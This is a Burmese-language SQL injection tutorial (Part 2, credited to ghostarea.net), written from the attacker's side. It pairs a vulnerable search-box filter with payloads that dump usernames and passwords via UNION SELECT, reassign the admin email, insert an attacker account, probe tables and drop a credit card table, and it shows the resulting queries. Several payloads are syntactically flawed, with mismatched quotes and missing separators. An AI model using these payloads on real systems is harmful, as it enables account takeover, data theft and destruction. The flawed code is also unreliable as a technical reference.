Part 1 : မွာေတာ့ SQL ဆိုတာဘာ MySQL ဆိုတာ ဘာ Query ေတြအေၾကာင္း နဲ႕ Attacking Example ႏွစ္ခုကို ေရးခဲ့ပါတယ္ ဒီေန႕ေတာ့ အျခားေသာ Attacking Example ေတြနဲ႕ Exploit ေတြကို ဆက္ပါ့မယ္ ။
ဒီ Tutorial မွာေတာ့ URL Bar မွာမဟုတ္ပဲ User Input ထည့္ခြင့္ရေသာ
ေနရာမွန္သမွ် မွာ Inject လုပ္မယ့္ Attacking Mode ေတြကို Example ေတြနဲ႕
ေျပာျပပါ့မယ္ ။ ဥပမာ Search Box လိုေနရာမ်ိဳး Email Address Input
လုပ္ရတဲ့ေနရာလိုမ်ိဳးမွာေပါ့
Shopping Site တစ္ခုရဲ႕ Search Form ဆိုပါစို႕ အဲ့ဒီ့ Search Form ဟာ ေစ်း၀ယ္တဲ့ User ေတြ ၀ယ္လို႕တဲ့ကုန္ပစၥည္းကို ရွာေဖြဖို႕လုပ္ထားတာပါ ဒါေပမယ့္ အဲ့ဒီ့ Search Form ဟာ Filter ခံဖို႕ လြတ္ေနပါတယ္ ဥပမာ ဒီလိုေပါ့
if (txtFilter.Text.Length > 0)(
strSQL += ” WHERE ProductName Like ‘” + txtFilter.Text + ‘”;)
အဲ့ဒါဆိုရင္ Attacker က
milk’ UNION Select 0, username,password 0 from users –
ဒီလို Query ေရးလိုက္ရင္ ( milk ဆိုတာ Example Item ပါ ) User Name Password ေတြ တက္လာပါလိမ့္မယ္ ။
အဲ့ဒီလိုပဲအျခားေသာ Attack အေနနဲ႕
4.Updating Table
ဒီတစ္ခါေတာ့ DataBase Table ၾကီးကို Update လုပ္ပစ္ပါ့မယ္ ဥပမာ.
milk’ ; UPDATE site_database SET site_email = ‘admin@site.com’ WHERE email =’attacker@email.com; –
ဒါကေတာ့ Example ပဲျပတာပါ site_email က Website Admin Mail ကို Attacker ေမးလ္ကို ေျပာင္းပစ္တဲ့ Example ပါ
အဲ့ဒီလို Inject လုပ္ရင္ Query မွာ
SELECT site_email , site_passwd, site_login_id, site-last_name FROM members WHERE site_email = ‘milk’ ; UPDATE site_database SET site_email = ‘admin@site.com’ WHERE email =’attacker@email.com; –
ဒီလို Request ျဖစ္သြားတာေၾကာင့္ Table Update ျဖစ္သြားပါတယ္
5.Adding New Record
ဒီတစ္ခါေတာ့ DataBase မွာ Record အသစ္ထည့္မွာပါ
milk’;INSERT INTO site_customers
(‘site-email’,site-password’,'site-login_id’,site-lastname’) VALUES
(‘attcker@email.com’,'hello’,'attacker’,'hacking attacker’);–
site_customer ထဲကို Attacker ဟာ သူ႕ရဲ႕ Record ေတြထည့္လုိက္တဲ့ Injecting Code ပါ အဲ့ဒီလို Inject လုပ္လုိက္ရင္ Query မွ
SELECT site_email , site_passwd, site_login_id, site-last_name FROM members WHERE site_email
=’milk’;INSERT INTO site_customers
(‘site-email’,site-password’,'site-login_id’,site-lastname’) VALUES
(‘attcker@email.com’,'hello’,'attacker’,'hacking attacker’);–
ျဖစ္ျပီး Record တစ္ခု ထပ္ထည့္ျပီးသားျဖစ္သြားပါလိမ့္မယ္ ။
6.Identifying Table
ဒီတစ္ခါေတာ့ Table တက္လာေအာင္လုပ္ၾကည့္ရေအာင္ ။
milk’ AND 1=(SELECT COUNT(*) FROM mytable); –
ဒီ Code ကိုသာ Inject လုပ္မယ္ဆုိရင္ Query မွာ
SELECT site_email , site_passwd, site_login_id, site-last_name FROM members WHERE site_email =’milk’ AND 1=(SELECT COUNT(*) FROM mytable); –
လို႕ Request လုပ္ျပီး Table ေတြတက္လာပါလိမ့္မယ္
7.Deleting Table
ဒီတစ္ခါေတာ့ Tabel ကို Delete လုပ္မွာပါ
milk’DROP TABLE Creditcard; –
ဒီ Code ကိုသာ Inject လုပ္လုိက္ရင္ SQL Query က
SELECT site_email , site_passwd, site_login_id, site-last_name FROM members WHERE site_email =’milk’DROP TABLE Creditcard; –
လို႕ Request လုပ္သြားျပီး Table ကို Delete လုပ္သြားပါ့မယ္
from www.ghostarea.net
|